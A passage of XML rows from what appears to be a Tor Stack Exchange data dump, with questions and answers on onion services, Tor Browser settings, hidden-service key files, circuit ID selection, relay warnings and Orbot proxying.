  <row Id="23664" PostTypeId="2" ParentId="23603" CreationDate="2023-03-28T21:32:28.277" Score="0" Body="&lt;p&gt;Well, it's a long-living mistake that Tor can not be used for a BitTorrent - actually, it &lt;strong&gt;must&lt;/strong&gt; be, but in a proper way:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an open-source client, I do recommend rTorrent for CLI/embed and qBitTorrent for a GUI version. This will protect you from data leaks, and - yes - take your time and compile them by hand, it's not complicated at all&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trackers &lt;em&gt;and&lt;/em&gt; clients &lt;strong&gt;must&lt;/strong&gt; avoid using IP addresses, but use dot-onion hidden service addresses instead. Yes, it's just 3 lines in your &lt;code&gt;torrc&lt;/code&gt; and just an option in your torrent client. Set up once - and it will just work&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;DHT will not help here**?** - &lt;strong&gt;It will!&lt;/strong&gt; All you need to do is never provide IP address, just a dot-onion host name. However if you're concerned about a deep-probing - you have to disable it because of the fact that Tor uses TCP only&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE : settings for tools&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;torrc&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;just create a hidden service and restart Tor so you will have it's name in it's folder, write it down. You need to map your torrent client's ports for that address.&lt;/li&gt;&#xA;&lt;li&gt;use transparent proxying with VirtualNetwork as big as /16 or more.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;enable DNS service so you can resolv dot-onion names system-wide&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In qBittorrent:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Tools-&amp;gt;Options-&amp;gt;Connection-&amp;gt;Peer connection protocol&lt;/em&gt; select TCP only and disable any NAT/UPnP. &lt;em&gt;Also in Proxy Server&lt;/em&gt; block check &amp;quot;Use proxy for peer connections*. Add your Tor as a SOCKS5 proxy&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Tools-&amp;gt;Options-&amp;gt;BitTorrent-&amp;gt;Automatically add trackers&lt;/em&gt; add a tcp tor hidden service tracker there.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Options-&amp;gt;Advanced&lt;/em&gt; there are some resolve(country/hostname/etc) options - uncheck them, there's no such data you're looking for ;) Set &lt;em&gt;IP address to report to trackers&lt;/em&gt; to your onion hidden service. You will need a source patch for qBittorrent to accept not just an IP address but also a hostname to that field. Restart qBittorrent&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In ISC Bind 9 - local setup, hardcoded in &lt;code&gt;/etc/resolv.conf&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a zone resolution forwarding to your Tor DNS service&lt;/li&gt;&#xA;&lt;li&gt;Disable any forwarders - just use a root hints - to avoid query leaks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In your OS use firewall to divert Tor's VirtualNetwork to it's TransPort&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind, that it will give you just a fraction of speed and working robustness as the full-featured BitTorrent, but it will work.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2023-04-04T09:05:55.827" LastActivityDate="2023-04-04T09:05:55.827" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23665" PostTypeId="1" CreationDate="2023-03-29T11:55:47.020" Score="1" ViewCount="317" Body="&lt;p&gt;Many of you are certainly aware that Proton mail is broken when using any security level but &amp;quot;Standard&amp;quot; in Tor, that is, the lowest security level available. Whitelisting Proton in NoScript is not enough, because Tor blocks all JavaScript in both &amp;quot;Safer&amp;quot; and &amp;quot;Safest&amp;quot; security levels.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate the strictness of the &amp;quot;Safest&amp;quot; security level, and do not want to disable it completely. Rather, I would like to allow JavaScript only on Proton, and no other website. How to achieve this?&lt;/p&gt;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&lt;p&gt;I'm using Proton's &amp;quot;.onion&amp;quot; domain, and not the clear web version.&lt;/p&gt;&#xA;" OwnerUserId="34426" LastEditorUserId="34426" LastEditDate="2023-04-03T23:36:28.703" LastActivityDate="2023-04-03T23:36:28.703" Title="Enable &quot;Standard&quot; security level for a *single* website in Tor" Tags="|javascript|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23666" PostTypeId="2" ParentId="23665" CreationDate="2023-03-30T12:48:19.167" Score="1" Body="&lt;p&gt;Use a separate browser for that, like Firefox. When you're launching Tor Browser - an instance of Tor is launched as well and you do have a proxy that listens to requests on your localhost - so just find this proxy and point the extra browser there. Tor browser is a way twisted app, and it has it's uses - and adding an exception like you're talking about would break much more things in it than will resolve. So it's OK for any piece of s..oftware just not to have all the features imaginable, including Tor Browser. Just use another one for a single particular exception you need.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-03-30T12:48:19.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23667" PostTypeId="2" ParentId="15963" CreationDate="2023-04-01T12:52:37.933" Score="0" Body="&lt;p&gt;You need to utilize &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#LongLivedPorts&quot; rel=&quot;nofollow noreferrer&quot;&gt;LongLivingPorts&lt;/a&gt; - just &lt;em&gt;copy the default values&lt;/em&gt; and add your ports to the list! In your case - the remote side vpn server port you're using in your ovpn config. Also - keep it in mind - enforce &lt;strong&gt;all&lt;/strong&gt; bindings by ip:port pair in Tor &lt;em&gt;and&lt;/em&gt; other applications to avoid data leaks.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-01T12:52:37.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23668" PostTypeId="2" ParentId="23636" CreationDate="2023-04-01T12:55:16.653" Score="0" Body="&lt;p&gt;Tor browser will not obey you here - use Firefox. Tor Browser is a Firefox ESR twisted for tor's team vision of privacy. Your proxy config is fine - just launch tor binary standalone, use burpsuite as you've configured it and point Firefox to your burpsuite proxy. This will work&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-01T12:55:16.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23669" PostTypeId="2" ParentId="23633" CreationDate="2023-04-01T12:57:50.687" Score="0" Body="&lt;p&gt;no error with copy and paste - you've got the correct one-liner command. Two ampersands are launching the next command &lt;strong&gt;only&lt;/strong&gt; if a previous one has not failed - and your last ping seems to fail: 2 packets sent 0 received, so the next line - that echoes the &amp;quot;OK&amp;quot; string - is not executed&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-01T12:57:50.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23672" PostTypeId="2" ParentId="23665" CreationDate="2023-04-03T19:46:58.703" Score="1" Body="&lt;p&gt;I use Tor Browser with &amp;quot;Safer&amp;quot; settings. With that I went to &lt;a href=&quot;https://account.protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/signup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://account.protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/signup&lt;/a&gt; and it showed me the following page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HqwxF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HqwxF.png&quot; alt=&quot;signup page for Proton.me&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was able to add an email address and password. The next windows asked for confirmation that I really want to use the free plan and I had to fill in a CAPTCHA.&lt;/p&gt;&#xA;&lt;p&gt;After all those steps my mailbox was created and it showed me the mailbox. So far I can use Proton with my &amp;quot;Safer&amp;quot; settings in Tor Browser without any issues.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iRMp5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iRMp5.png&quot; alt=&quot;Mailbox view of Proton&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Proton wrote in 2022 that they want to create a &lt;a href=&quot;https://proton.me/blog/updated-tor-site&quot; rel=&quot;nofollow noreferrer&quot;&gt;new experience with Tor&lt;/a&gt;. They work closely with the Tor Project to make sure that Tor users can use their site. For this purpose they created &lt;a href=&quot;https://proton.me/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;a special site with information for Tor users&lt;/a&gt;. The main thing is that one should use the Onion Service. By using this Onion Service Proton should work with Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2023-04-03T19:46:58.703" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23673" PostTypeId="2" ParentId="23066" CreationDate="2023-04-03T20:03:11.450" Score="0" Body="&lt;p&gt;The address &lt;code&gt;facebookcorewwwi.onion&lt;/code&gt; (and similar addresses which have 16 characters plus an &lt;code&gt;.onion&lt;/code&gt; address) are old addresses. This address format was called a version 2 Onion address or short v2 address. Those addresses are deprecated and will not work anymore.&lt;/p&gt;&#xA;&lt;p&gt;Facebook has adopted to the new version 3 of Onion Services. Those have longer onion addresses. So you can reach Facebook only via &lt;code&gt;facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion&lt;/code&gt;. If you want to know their actual onion address, you can go to &lt;a href=&quot;https://www.facebook.com/onion-service&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.facebook.com/onion-service&lt;/a&gt;. This site lists the address.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore Alec Muffett maintains a list of so-called &lt;a href=&quot;https://github.com/alecmuffett/real-world-onion-sites#index&quot; rel=&quot;nofollow noreferrer&quot;&gt;real world onion sites&lt;/a&gt;. You'll find many more working addresses in his list.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2023-04-03T20:03:11.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23674" PostTypeId="2" ParentId="22663" CreationDate="2023-04-06T14:47:10.147" Score="3" Body="&lt;p&gt;To interpret the &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; and &lt;code&gt;hs_ed_25519_public_key&lt;/code&gt; files you can read/write the files in binary format. The first 32 bytes of these files are b&lt;code&gt;&amp;quot;== ed25519v1-secret: type0 ==\x00\x00\x00&amp;quot;&lt;/code&gt; and &lt;code&gt;b&amp;quot;== ed25519v1-public: type0 ==\x00\x00\x00&amp;quot;&lt;/code&gt;. Examples below.&lt;/p&gt;&#xA;&lt;p&gt;I was trying to solve a similar problem, but wanted to generate Tor hidden service files based on existing ED25519 keys. Since this was poorly documented, I included the code here for others in need later. The code is written in Python, but heavily inspired by the go-code from the comment by Alexey Vesnin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import base64&#xA;import hashlib&#xA;import os&#xA;import pwd&#xA;import grp&#xA;from pathlib import Path&#xA;&#xA;&#xA;def expand_private_key(secret_key) -&amp;gt; bytes:&#xA;    hash = hashlib.sha512(secret_key[:32]).digest()&#xA;    hash = bytearray(hash)&#xA;    hash[0] &amp;amp;= 248&#xA;    hash[31] &amp;amp;= 127&#xA;    hash[31] |= 64&#xA;    return bytes(hash)&#xA;&#xA;&#xA;def onion_address_from_public_key(public_key: bytes) -&amp;gt; str:&#xA;    version = b&amp;quot;\x03&amp;quot;&#xA;    checksum = hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + public_key + version).digest()[:2]&#xA;    onion_address = &amp;quot;{}.onion&amp;quot;.format(&#xA;        base64.b32encode(public_key + checksum + version).decode().lower()&#xA;    )&#xA;    return onion_address&#xA;&#xA;&#xA;def verify_v3_onion_address(onion_address: str) -&amp;gt; list[bytes, bytes, bytes]:&#xA;    # v3 spec https://gitweb.torproject.org/torspec.git/plain/rend-spec-v3.txt&#xA;    try:&#xA;        decoded = base64.b32decode(onion_address.replace(&amp;quot;.onion&amp;quot;, &amp;quot;&amp;quot;).upper())&#xA;        public_key = decoded[:32]&#xA;        checksum = decoded[32:34]&#xA;        version = decoded[34:]&#xA;        if (&#xA;            checksum&#xA;            != hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + public_key + version).digest()[:2]&#xA;        ):&#xA;            raise ValueError&#xA;        return public_key, checksum, version&#xA;    except:&#xA;        raise ValueError(&amp;quot;Invalid v3 onion address&amp;quot;)&#xA;&#xA;&#xA;def create_hs_ed25519_secret_key_content(signing_key: bytes) -&amp;gt; bytes:&#xA;    return b&amp;quot;== ed25519v1-secret: type0 ==\x00\x00\x00&amp;quot; + expand_private_key(&#xA;        signing_key&#xA;    )&#xA;&#xA;&#xA;def create_hs_ed25519_public_key_content(public_key: bytes) -&amp;gt; bytes:&#xA;    assert len(public_key) == 32&#xA;    return b&amp;quot;== ed25519v1-public: type0 ==\x00\x00\x00&amp;quot; + public_key&#xA;&#xA;&#xA;def store_bytes_to_file(&#xA;    bytes: bytes, filename: str, uid: int = None, gid: int = None&#xA;) -&amp;gt; str:&#xA;    with open(filename, &amp;quot;wb&amp;quot;) as binary_file:&#xA;        binary_file.write(bytes)&#xA;    if uid and gid:&#xA;        os.chown(filename, uid, gid)&#xA;    return filename&#xA;&#xA;&#xA;def store_string_to_file(&#xA;    string: str, filename: str, uid: int = None, gid: int = None&#xA;) -&amp;gt; str:&#xA;    with open(filename, &amp;quot;w&amp;quot;) as file:&#xA;        file.write(string)&#xA;    if uid and gid:&#xA;        os.chown(filename, uid, gid)&#xA;    return filename&#xA;&#xA;&#xA;def create_hidden_service_files(&#xA;    private_key: bytes,&#xA;    public_key: bytes,&#xA;    tor_data_directory: str,&#xA;    hidden_service_dir: str,&#xA;) -&amp;gt; None:&#xA;&#xA;    path = Path(tor_data_directory)&#xA;    parent = path.parent.absolute()&#xA;    # these are not strictly needed but takes care of the file permissions need by tor&#xA;    tor_user = parent.owner()&#xA;    tor_group = parent.group()&#xA;    uid = pwd.getpwnam(tor_user).pw_uid&#xA;    gid = grp.getgrnam(tor_group).gr_gid&#xA;    if not path.exists():&#xA;        os.mkdir(tor_data_directory)&#xA;        os.chmod(tor_data_directory, 0o700)&#xA;        os.chown(tor_data_directory, uid, gid)&#xA;&#xA;    file_content_secret = create_hs_ed25519_secret_key_content(private_key)&#xA;&#xA;    store_bytes_to_file(&#xA;        file_content_secret, f&amp;quot;{hidden_service_dir}/hs_ed25519_secret_key&amp;quot;, uid, gid&#xA;    )&#xA;&#xA;    file_content_public = create_hs_ed25519_public_key_content(public_key)&#xA;    store_bytes_to_file(&#xA;        file_content_public, f&amp;quot;{hidden_service_dir}/hs_ed25519_public_key&amp;quot;, uid, gid&#xA;    )&#xA;&#xA;    onion_address = onion_address_from_public_key(public_key)&#xA;    store_string_to_file(onion_address, f&amp;quot;{hidden_service_dir}/hostname&amp;quot;, uid, gid)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    create_hidden_service_files(&#xA;        b&amp;quot;------32-bytes-private_key------&amp;quot;,  # the ed25519 private key often includes the public key, this does not&#xA;        b&amp;quot;------32-bytes-public_key------&amp;quot;,&#xA;        &amp;quot;/var/lib/tor&amp;quot;,&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;ED25519 keys can be generated with the pynacl or cryptography packages.&lt;/p&gt;&#xA;" OwnerUserId="38269" LastEditorUserId="88" LastEditDate="2023-04-06T17:41:58.280" LastActivityDate="2023-04-06T17:41:58.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23675" PostTypeId="1" AcceptedAnswerId="23676" CreationDate="2023-04-07T13:21:17.450" Score="2" ViewCount="101" Body="&lt;p&gt;I am coding my own version of TOR and I am trying to set up circuit management. I looked at the TOR spec and it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To prevent CircID collisions, when one node sends a CREATE/CREATE2&#xA;cell to another, it chooses from only one half of the possible values&#xA;based on the ORs' public identity keys.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would like to implement this approach in my code as well, but I don't understand how can the node figure out what values are possible, and determine the CircID, using the OR's identity keys?&lt;/p&gt;&#xA;&lt;p&gt;I interpret from this that there is a way to pass information using identity keys, but I couldn't find any relevant explanation, and checking the TOR-design.html also didn't help.&lt;/p&gt;&#xA;" OwnerUserId="38275" LastActivityDate="2023-04-07T21:27:40.860" Title="How do TOR nodes select the CircID's when creating, or extending, a circuit?" Tags="|security|circuit|encryption|node|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23676" PostTypeId="2" ParentId="23675" CreationDate="2023-04-07T19:21:16.760" Score="2" Body="&lt;p&gt;A circuit ID identifies a circuit on an OR connection. If this OR connection is between two relays, either relay can make new circuits on that OR connection. If a relay wants to create a new circuit, it chooses a circuit ID and sends a CREATE2 cell containing that circuit ID to the other relay.&lt;/p&gt;&#xA;&lt;p&gt;There's a collision problem when the two relays try to make new circuits at the same time. Each relay will send a CREATE2 cell to the other, but they might have accidentally chosen the same circuit ID.&lt;/p&gt;&#xA;&lt;p&gt;To prevent this, one relay will only choose circuit IDs with the most-significant bit (MSB) set to 1, and the other will choose circuit IDs with the MSB set to 0. This effectively splits the possible circuit IDs into two groups, and each relay chooses from one of the groups.&lt;/p&gt;&#xA;&lt;p&gt;Each relay needs to know which group it should choose circuit IDs from (the group with the MSB=0 or the group with the MSB=1). The two relays compare their public identity keys. The relay with the lower key uses the MSB=0 group, and the relay with the higher key uses the MSB=1 group.&lt;/p&gt;&#xA;&lt;p&gt;How circuit IDs are chosen: &lt;a href=&quot;https://github.com/torproject/tor/blob/447775a5e0b2178b44826cf6802a9c5e779a45d1/src/core/or/circuitbuild.c#L125&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;get_unique_circ_id_by_chan&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where the MSB is chosen: &lt;a href=&quot;https://github.com/torproject/tor/blob/447775a5e0b2178b44826cf6802a9c5e779a45d1/src/core/or/circuitbuild.c#L152&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;high_bit&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where the keys are compared: &lt;a href=&quot;https://github.com/torproject/tor/blob/447775a5e0b2178b44826cf6802a9c5e779a45d1/src/core/or/channel.c#L3376&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;if (crypto_pk_cmp_keys(our_identity, identity_rcvd) &amp;lt; 0)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2023-04-07T21:27:40.860" LastActivityDate="2023-04-07T21:27:40.860" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23677" PostTypeId="2" ParentId="23464" CreationDate="2023-04-08T15:27:45.500" Score="1" Body="&lt;p&gt;Currently, the TOR browser does not spoof your user agent and therefore you cannot ask it to just forward the message without forging a user agent. You can determine what the user agent will be as explained &lt;a href=&quot;https://security.stackexchange.com/questions/131165/how-can-i-see-mobile-version-websites-on-pc-mac-while-using-a-privacy-secure-bro&quot;&gt;here&lt;/a&gt;, but it's not possible to have the TOR browser use your ideal user agent without setting it manually.&lt;/p&gt;&#xA;&lt;p&gt;On another note you should probably let the TOR browser use its default user agent as customizing it would make your messages less anonymous, but it's up to you.&lt;/p&gt;&#xA;&lt;p&gt;Of course most of the people would have an incredibly tough time trying to trace your messages, but remember that TOR is being used to provide privacy also from huge budget organizations like governments, and reducing your anonymity slightly could have a massive outcome with their resources.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://blog.torproject.org/browser-fingerprinting-introduction-and-challenges-ahead/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR Blog&lt;/a&gt; (this is the default approach):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In the end, the approach chosen by Tor developers is simple: all Tor users should have the exact same fingerprint. No matter what device or operating system you are using, your browser fingerprint should be the same as any device running Tor Browser (more details can be found in the &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#fingerprinting-linkability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design document&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="38275" LastEditorUserId="38275" LastEditDate="2023-04-09T18:56:38.733" LastActivityDate="2023-04-09T18:56:38.733" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23678" PostTypeId="2" ParentId="23464" CreationDate="2023-04-09T06:45:14.350" Score="2" Body="&lt;p&gt;You can't: this is what they built this program for - to mimic for the mass. The goal of this approach is to blend into the most ubiquitous software and to make fingerprinting/identification a way more laborious. When the fingerprinting occurs - it tries every way to inject some tokens, so that's why these mimics and tweaks are hardcoded into the binary - there's no another way! Keep in mind that Tor provides SOCKS5s and HTTPS proxy endpoints, so you can use any software supporting them - including the browser you need. If you're afraid of hacks - just use unrouted virtual machine in VirtualBox as a disposable sandbox!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2023-04-09T06:45:14.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23679" PostTypeId="1" CreationDate="2023-04-10T04:00:21.480" Score="0" ViewCount="74" Body="&lt;p&gt;OS: Ubuntu Server 22.04.2&lt;/p&gt;&#xA;&lt;p&gt;I'm running a tor relay on an old laptop. I'm managing it on my main computer with ssh. From my perspective this is ideal because in theory I could manage multiple nodes from one device, nice and simple. However I am a noob and don't know if this is a security risk or not. I'm getting the following warnings after following the tutorial at torproject.org. Does anyone know what going on?&#xA;&lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;ControlPort 9051&#xA;HashedControlPassword 16:...&#xA;ORPort 443&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can't find any clear answers about the following warns from &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Bad password or authentication cookie on controller.&#xA;[WARN] Your server has not managed to confirm reachability for its ORPort(s) at 111.1.1.1 Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="38280" LastEditorUserId="38280" LastEditDate="2023-04-10T04:16:10.967" LastActivityDate="2023-04-10T04:22:23.230" Title="Middle/Guard relay:WARN Bad password or authentication cookie on controller WARN Your server has not managed to confirm reachability for its ORPort(s)" Tags="|configuration|relays|ubuntu|server|nyx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23680" PostTypeId="2" ParentId="23679" CreationDate="2023-04-10T04:22:23.230" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Bad password or authentication cookie on controller.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You (or someone) tried to access tor's control port, but the authentication failed (probably the wrong password).&lt;/p&gt;&#xA;&lt;p&gt;Is your control port accessible only over SSH, or have you also made it publicly accessible on the Internet? Unless you changed &lt;code&gt;ControlListenAddress&lt;/code&gt;, then the default is just localhost.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Your server has not managed to confirm reachability for its ORPort(s) at 111.1.1.1 Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The relay can't confirm that other devices on the Internet can access your relay. Specifically, it seems that they can't connect to port 443 on your laptop. Are you sure there is no firewall preventing access to this port from the Internet (either a firewall on the system or on your router)? And I'm assuming that you changed the IP address to &amp;quot;111.1.1.1&amp;quot; when you posted it here, but are you sure that the original IP was correct?&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-04-10T04:22:23.230" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23681" PostTypeId="1" AcceptedAnswerId="23683" CreationDate="2023-04-10T05:57:34.627" Score="1" ViewCount="642" Body="&lt;p&gt;This might sounds strange but right now I am using the ProtonVPN android app as follow:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I connect my android device to home wifi&lt;/li&gt;&#xA;&lt;li&gt;start ProtonVpn app&lt;/li&gt;&#xA;&lt;li&gt;start Every Proxy app (usually using its HTTP option)&lt;/li&gt;&#xA;&lt;li&gt;then connect my android device to windows laptop using cable and USB&#xA;tethering option&lt;/li&gt;&#xA;&lt;li&gt;then i add IP provided by Every Proxy app to proxy setting in Firefox and then&#xA;start browsing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I tried the same with Orbot android app, but it did not work. What I want to know is that is there a way to use Orbot in the same manner as protonVPN? Using Orbot android vpn for my windows Firefox?&lt;/p&gt;&#xA;" OwnerUserId="38282" LastActivityDate="2023-04-11T06:17:36.933" Title="Using Orbot android app as a proxy server for a windows client" Tags="|windows|proxy|orbot|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23682" PostTypeId="2" ParentId="23681" CreationDate="2023-04-10T08:49:19.427" Score="0" Body="&lt;p&gt;EverProxy is a &lt;em&gt;proxy&lt;/em&gt; application and OrBot is a &lt;em&gt;VPN provider&lt;/em&gt; like ProtonVPN - that's why you don't have it working. Yes, Android is a flavour of Linux - but, sadly, it's unable to fine-tune multiple VPN connections simultaneously. So - as you're starting ProtonVPN and Orbot afterward - Orbot's VPN &lt;strong&gt;replaces&lt;/strong&gt; ProtonVPN's one...&lt;/p&gt;&#xA;&lt;p&gt;Technically you can tweak it deeply by hand &lt;strong&gt;if&lt;/strong&gt; you have LineageOS or AOSP with additional packages, but it's kinda a pain in the ass. To solve your problem without an effort that big - use an intermediate box. Buy Asus TinkerBoard or RaspberryPi 4 8G (&lt;strong&gt;not a smaller memory version!&lt;/strong&gt;) - and make it a Tor routing box. So you will use your phone as you did before, then you will patch your box's Tor &lt;em&gt;through&lt;/em&gt; its proxy and will expose Tor's DNS, SOCKS5s, and HTTPS proxy ports to your home WiFi/LAN (if you have a stationary router - plug it through a patch cord, it will work a way better!). That's it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="6656" LastEditDate="2023-04-10T18:06:22.177" LastActivityDate="2023-04-10T18:06:22.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23683" PostTypeId="2" ParentId="23681" CreationDate="2023-04-11T06:16:42.623" Score="2" Body="&lt;p&gt;Here is the solution that worked for me.&lt;/p&gt;&#xA;&lt;p&gt;First off apparently Orbot itself offers proxy so there is no need  for an extra app like Every Proxy.&lt;/p&gt;&#xA;&lt;p&gt;Solution:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I used command &lt;code&gt;tracert&lt;/code&gt; to find my android device IP when using in&#xA;USB tethering mode, let say 192.168.164.5&lt;/li&gt;&#xA;&lt;li&gt;then you need to go to Orbot setting and check the box that says&#xA;&amp;quot;open proxy on all interfaces&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Then in the Orbot start page right under the start icon there are two&#xA;numbers like Socks:9050|HTTP:8181 i guess these are the ports that&#xA;Orbot listen on.&lt;/li&gt;&#xA;&lt;li&gt;last step is to add the IP and and socks port, in this case&#xA;192.168.164.5 and 9050, to Firefox proxy setting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;** I also tried this solution with HTTP port number but it did not work.&lt;/p&gt;&#xA;" OwnerUserId="38282" LastEditorUserId="38282" LastEditDate="2023-04-11T06:17:36.933" LastActivityDate="2023-04-11T06:17:36.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23684" PostTypeId="1" CreationDate="2023-04-13T08:51:40.813" Score="0" ViewCount="26" Body="&lt;p&gt;After generating a self-signed SSL certificate for a self-hosted Dash app, and verifying that it is accessible over tor, I intend to include self-hosted GitLab and Nextcloud over https. Hence, I was wondering whether there are any advantages/disadvantages for creating either:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 onion domain per service?&lt;/li&gt;&#xA;&lt;li&gt;1 domain with all services on different ports?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I thought that perhaps 1 domain per service might be a bit more secure, because if one domain is somehow compromised (by me not setting something up securely), it would perhaps have a lower probability of also compromising the other services. However, my main concern is not with security, but with performance.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a difference in performance between the two situations (bandwidth and/or latency wise)?&lt;/li&gt;&#xA;&lt;li&gt;Is the load I put on the onion network different for the two situations?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32892" 